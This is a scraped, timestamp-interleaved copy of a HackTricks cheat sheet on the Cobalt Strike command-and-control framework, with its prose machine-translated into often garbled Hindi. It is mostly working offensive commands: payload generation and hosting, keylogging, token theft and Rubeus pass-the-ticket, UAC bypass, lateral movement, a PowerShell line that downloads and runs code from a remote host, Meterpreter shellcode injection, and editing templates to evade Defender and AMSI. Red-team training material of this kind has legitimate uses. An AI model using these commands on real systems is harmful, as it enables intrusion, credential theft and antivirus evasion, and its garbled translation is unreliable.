hacktricks/c2/cobalt-strike.md

194 lines
16 KiB
Markdown
Raw Normal View History

2022-08-12 22:50:15 +00:00
# Cobalt Strike
2023-11-06 08:38:02 +00:00
### सुनवाईकर्ता
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
### सी2 सुनवाईकर्ता
2022-08-13 15:36:34 +00:00
2023-11-06 08:38:02 +00:00
`Cobalt Strike -> सुनवाईकर्ता -> जोड़ें/संपादित करें` फिर आप कहां सुनना चाहते हैं, किस प्रकार के बीकन का उपयोग करना चाहते हैं (http, dns, smb...) और अधिक का चयन कर सकते हैं।
2022-08-13 15:36:34 +00:00
2023-11-06 08:38:02 +00:00
### पीयर2पीयर सुनवाईकर्ता
2022-08-13 15:36:34 +00:00
2023-11-06 08:38:02 +00:00
इन सुनवाईकर्ताओं के बीकनों को सी2 के साथ सीधे बातचीत करने की आवश्यकता नहीं होती है, वे इसके माध्यम से इससे संवाद कर सकते हैं।
2022-08-13 15:36:34 +00:00
2023-11-06 08:38:02 +00:00
`Cobalt Strike -> सुनवाईकर्ता -> जोड़ें/संपादित करें` फिर आपको TCP या SMB बीकन का चयन करना होगा
2022-08-13 15:36:34 +00:00
2023-11-06 08:38:02 +00:00
* **TCP बीकन चयनित पोर्ट में एक सुनवाईकर्ता सेट करेगा**। एक TCP बीकन से कनेक्ट करने के लिए दूसरे बीकन से `connect <ip> <port>` कमांड का उपयोग करें
* **smb बीकन चयनित नाम के पाइपमें सुनेगा**। SMB बीकन से कनेक्ट करने के लिए आपको `link [target] [pipe]` कमांड का उपयोग करना होगा।
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
### पेलोड उत्पन्न करें और होस्ट करें
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
#### फ़ाइलों में पेलोड उत्पन्न करें
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
`हमले -> पैकेज ->`&#x20;
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
* **`HTMLApplication`** HTA फ़ाइलों के लिए
* **`MS Office Macro`** मैक्रो के साथ एक ऑफ़िस दस्तावेज़ के लिए
* **`Windows Executable`** .exe, .dll या सेवा .exe के लिए
* **`Windows Executable (S)`** एक **stageless** .exe, .dll या सेवा .exe के लिए (स्टेजलेस स्टेज्ड से बेहतर है, कम IoC)
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
#### पेलोड उत्पन्न करें और होस्ट करें
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
`हमले -> वेब ड्राइव-बाई -> स्क्रिप्टेड वेब वितरण (S)` इससे एक स्क्रिप्ट/एक्सीक्यूटेबल उत्पन्न होगा जो कोबाल्ट स्ट्राइक से बीकन को डाउनलोड करने के लिए होगा, जैसे: bitsadmin, exe, powershell और python
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
#### पेलोड होस्ट करें
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
यदि आपके पास पेश करने के लिए वेब सर्वर में रखने की फ़ाइल है, तो केवल `हमले -> वेब ड्राइव-बाई -> फ़ाइल होस्ट` पर जाएं और होस्ट करने के लिए फ़ाइल का चयन करें और वेब सर्वर कॉन्फ़िगरेशन करें।
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
### बीकन विकल्प
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
<pre class="language-bash"><code class="lang-bash"># स्थानीय .NET बाइनरी को निष्पादित करें
2022-08-13 15:36:34 +00:00
execute-assembly &#x3C;/path/to/executable.exe>
2022-08-13 13:54:19 +00:00
2023-11-06 08:38:02 +00:00
# स्क्रीनशॉट
printscreen # प्रिंटस्क्रीन विधि के माध्यम से एकल स्क्रीनशॉट लें
screenshot # एकल स्क्रीनशॉट लें
screenwatch # डेस्कटॉप के नियमित अंतराल पर स्क्रीनशॉट लें
## उन्हें देखने के लिए व्यू -> स्क्रीनशॉट पर जाएं
2022-08-12 22:50:15 +00:00
2023-11-06 08:38:02 +00:00
# कीलॉगर
2022-08-12 22:50:15 +00:00
keylogger [pid] [x86|x64]
2023-11-06 08:38:02 +00:00
## कुंजीस्पर्श को देखने के लिए व्यू > कीस्ट्रोक्स पर जाएं
2022-08-13 15:36:34 +00:00
2023-11-06 08:38:02 +00:00
# पोर्टस्कैन
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # दूसरे प्रक्रिया में पोर्टस्कैन क्रिया इंजेक्ट करें
2022-08-14 10:22:31 +00:00
portscan [targets] [ports] [arp|icmp|none] [max connections]
2023-11-06 08:38:02 +00:00
# पावरशेल
# पावरशेल मॉड्यूल आयात करें
2022-08-13 15:36:34 +00:00
powershell-import C:\path\to\PowerView.ps1
2023-11-06 08:38:02 +00:00
powershell &#x3C;यहां पावरशेल कमांड लिखें>
# उपयोगकर्ता अनुकरण
## क्रेडेंशियल के साथ टोकन उत्पन्न करें
make_token [DOMAIN\user] [password] # नेटवर्क में एक उपयोगकर्ता के रूप में अनुकरण करने के लिए टोकन बनाएं
ls \\computer_name\c$ # एक कंप्यूटर में C$ तक पहुँचने के लिए उत्पन्न टोकन का उपयोग करने का प्रयास करें
rev2self # make_token के साथ उत्पन्न टोकन का उपयोग करना बंद करें
## make_token का उपयोग ईवेंट 4624 उत्पन्न करता है: एक खाता सफलतापूर्वक लॉग ऑन हुआ था। यह ईवेंट विंडोज डोमेन में बहुत सामान्य है, लेकिन लॉगऑन प्रकार पर फ़िल्टर करके इसे संक्षेप में किया जा सकता है। जैसा कि पहले कहा गया है, इसमें LOGON32_LOGON_NEW_CREDENTIALS का उपयोग होता है जो प्रकार 9 है।
# UAC बाईपास
elevate svc-exe &#x3C;सुनवाईकर्ता>
elevate uac-token-duplication &#x3C;सुनवाईकर्ता>
2022-09-03 00:24:33 +00:00
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
2022-08-13 23:06:40 +00:00
2023-11-06 08:38:02 +00:00
## प्रक्रिया से टोकन चुरा लें
## make_token की तरह, लेकिन प्रक्रिया से
## SYSTEM से टिकट पास करें
## टिकट के साथ एक नया प्रक्रिया उत्पन्न करें
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;USERNAME> /domain:&#x3C;DOMAIN> /aes256:&#x3C;AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
2023-11-06 08:38:02 +00:00
## उस प्रक्रिया से टोकन चुराएं
2022-08-13 23:06:40 +00:00
steal_token &#x3C;pid>
2023-11-06 08:38:02 +00:00
## टिकट + टिकट पास निकालें
### टिकट सूची बनाएं
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe triage
2023-11-06 08:38:02 +00:00
### luid द्वारा दिलचस्प टिकट डंप करें
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:&#x3C;luid> /nowrap
2023-11-06 08:38:02 +00:00
### नई लॉगऑन सत्र बनाएं, luid और processid का ध्यान रखें
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
2023-11-06 08:38:02 +00:00
### उत्पन्न लॉगऑन सत्र में टिकट डालें
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
2023-11-06 08:38:02 +00:00
### अंत में, उस नई प्रक्रिया से टोकन चुराएं
2022-08-13 23:06:40 +00:00
steal_token &#x3C;pid>
2022-08-13 15:36:34 +00:00
2023-11-06 08:38:02 +00:00
# लैटरल मूवमेंट
## यदि टोकन बनाया गया है तो उसका उपयोग किया जाएगा
2022-08-13 15:36:34 +00:00
jump [method] [target] [listener]
2023-11-06 08:38:02 +00:00
## विधियाँ:
## psexec x86 सेवा का उपयोग करके एक सेवा EXE आर्टिफैक्ट चलाने के लिए
## psexec64 x64 सेवा का उपयोग करके एक सेवा EXE आर्टिफैक्ट चलाने के लिए
## psexec_psh x86 सेवा का उपयोग करके एक PowerShell वन-लाइनर चलाने के लिए
## winrm x86 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएं
## winrm64 x64 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएं
2022-08-13 15:36:34 +00:00
remote-exec [method] [target] [command]
2023-11-06 08:38:02 +00:00
## विधियाँ:
<strong>## psexec सेवा नियंत्रण प्रबंधक के माध्यम से रिमोट एक्जीक्यूट करें
</strong>## winrm WinRM के माध्यम से रिमोट एक्जीक्यूट करें (PowerShell)
## wmi WMI के माध्यम से रिमोट एक्जीक्यूट करें
2022-08-13 15:36:34 +00:00
2023-11-06 08:38:02 +00:00
## WMI के साथ एक बीकन निष्पादित करने के लिए (यह जंप कमांड में नहीं है) बस बीकन अपलोड करें और इसे निष्पादित करें
2022-08-13 15:36:34 +00:00
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
2022-08-14 09:56:17 +00:00
2023-11-06 08:38:02 +00:00
# Metasploit को सत्र पास करें - लिस्टनर के माध्यम से
## Metaploit होस्ट पर
2022-08-14 09:56:17 +00:00
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
2023-11-06 08:38:02 +00:00
## Cobalt पर: Listeners > Add और Payload को Foreign HTTP पर सेट करें। Host को 10.10.5.120, Port को 8080 सेट करें और Save पर क्लिक करें।
2022-08-14 09:56:17 +00:00
beacon> spawn metasploit
2023-11-06 08:38:02 +00:00
## आप केवल विदेशी लिस्टनर के साथ x86 Meterpreter सत्र उत्पन्न कर सकते हैं।
2022-08-14 09:56:17 +00:00
2023-11-06 08:38:02 +00:00
# Metasploit सत्र को cobalt strike को पास करें - शेलकोड इंजेक्शन के माध्यम से
## Metasploit होस्ट पर
2022-08-14 09:56:17 +00:00
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw -o /tmp/msf.bin
2023-11-06 08:38:02 +00:00
## msfvenom चलाएं और multi/handler लिस्टनर को तैयार करें
2022-08-14 09:56:17 +00:00
2023-11-06 08:38:02 +00:00
## बिन फ़ाइल को cobalt strike होस्ट में कॉपी करें
2022-08-14 09:56:17 +00:00
ps
shinject &#x3C;pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
2023-11-06 08:38:02 +00:00
# Metasploit सत्र को cobalt strike को पास करें
## निर्मित Beacon शेलकोड उत्पन्न करें, Attacks > Packages > Windows Executable (S) पर जाएं, वांछित लिस्टनर का चयन करें, आउटपुट प्रकार के रूप में Raw का चयन करें और Use x64 payload का चयन करें।
## Metasploit में post/windows/manage/shellcode_inject का उपयोग करें जिससे उत्पन्न किया गया cobalt srike shellcode इंजेक्ट होता है
2022-08-14 10:22:31 +00:00
2023-11-06 08:38:02 +00:00
# पिवटिंग
## टीमसर्वर में एक सॉक्स प्रॉक्सी खोलें
2022-08-14 10:22:31 +00:00
beacon> socks 1080
2022-08-14 20:18:45 +00:00
2023-11-06 08:38:02 +00:00
# SSH कनेक्शन
2022-08-14 20:18:45 +00:00
beacon> ssh 10.10.17.12:22 username password</code></pre>
2022-08-21 14:40:42 +00:00
2023-11-06 08:38:02 +00:00
## AVs से बचें
2022-08-21 14:40:42 +00:00
### Artifact Kit
2023-11-06 08:38:02 +00:00
आमतौर पर `/opt/cobaltstrike/artifact-kit` में आपको कोबाल्ट स्ट्राइक द्वारा उत्पन्न बाइनरी बीकन के कोड और पूर्व-संकलित टेम्पलेट (`/src-common` में) मिलेंगे।
2022-08-21 14:40:42 +00:00
2023-11-06 08:38:02 +00:00
[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) का उपयोग उत्पन्न बैकडोर (या केवल कंपाइल किए गए टेम्पलेट) के साथ करके आप यह जांच सकते हैं कि डिफेंडर को क्या ट्रिगर कर रहा है। आमतौर पर यह एक स्ट्रिंग होती है। इसलिए आप बैकडोर उत्पन्न कर रहे कोड में उस स्ट्रिंग को नहीं दिखने देने के लिए संशोधित कर सकते हैं।
2022-08-21 14:40:42 +00:00
2023-11-06 08:38:02 +00:00
कोड को संशोधित करने के बाद उसी निर्देशिका से `./build.sh` चलाएं और `dist-pipe/` फ़ोल्डर को Windows क्लाइंट में `C:\Tools\cobaltstrike\ArtifactKit` में कॉपी करें।
2022-08-21 14:40:42 +00:00
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
2023-11-06 08:38:02 +00:00
यह न भूलें कि आपको विनाशकारी स्क्रिप्ट `dist-pipe\artifact.cna` लोड करना होगा ताकि Cobalt Strike को हमारे द्वारा चयनित डिस्क संसाधनों का उपयोग करने के लिए नहीं करना पड़े।
2022-08-21 14:40:42 +00:00
2023-11-06 08:38:02 +00:00
### संसाधन किट
2022-08-21 14:40:42 +00:00
2023-11-06 08:38:02 +00:00
संसाधन किट फ़ोल्डर में Cobalt Strike के स्क्रिप्ट-आधारित पेलोड के टेम्पलेट होते हैं, जिनमें PowerShell, VBA और HTA शामिल हैं।
2022-08-21 14:40:42 +00:00
2023-11-06 08:38:02 +00:00
टेम्पलेट के साथ [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) का उपयोग करके आप यह जान सकते हैं कि डिफ़ेंडर (इस मामले में AMSI) को क्या पसंद नहीं है और उसे संशोधित कर सकते हैं:
2022-08-21 14:40:42 +00:00
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
2023-11-06 08:38:02 +00:00
डिटेक्ट की गई लाइनों को संशोधित करके एक टेम्पलेट बनाया जा सकता है जो पकड़ा नहीं जाएगा।
2022-08-21 14:40:42 +00:00
2023-11-06 08:38:02 +00:00
याद रखें कि आपको एग्रेसिव स्क्रिप्ट `ResourceKit\resources.cna` लोड करना नहीं भूलना चाहिए ताकि कोबाल्ट स्ट्राइक को बताया जा सके कि हमें डिस्क से रिसोर्सेज़ का उपयोग करना है और न कि लोड किए गए रिसोर्सेज़।
2022-09-03 00:18:00 +00:00
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
2022-10-08 08:34:51 +00:00
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
2022-09-03 00:18:00 +00:00
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
2023-11-06 08:38:02 +00:00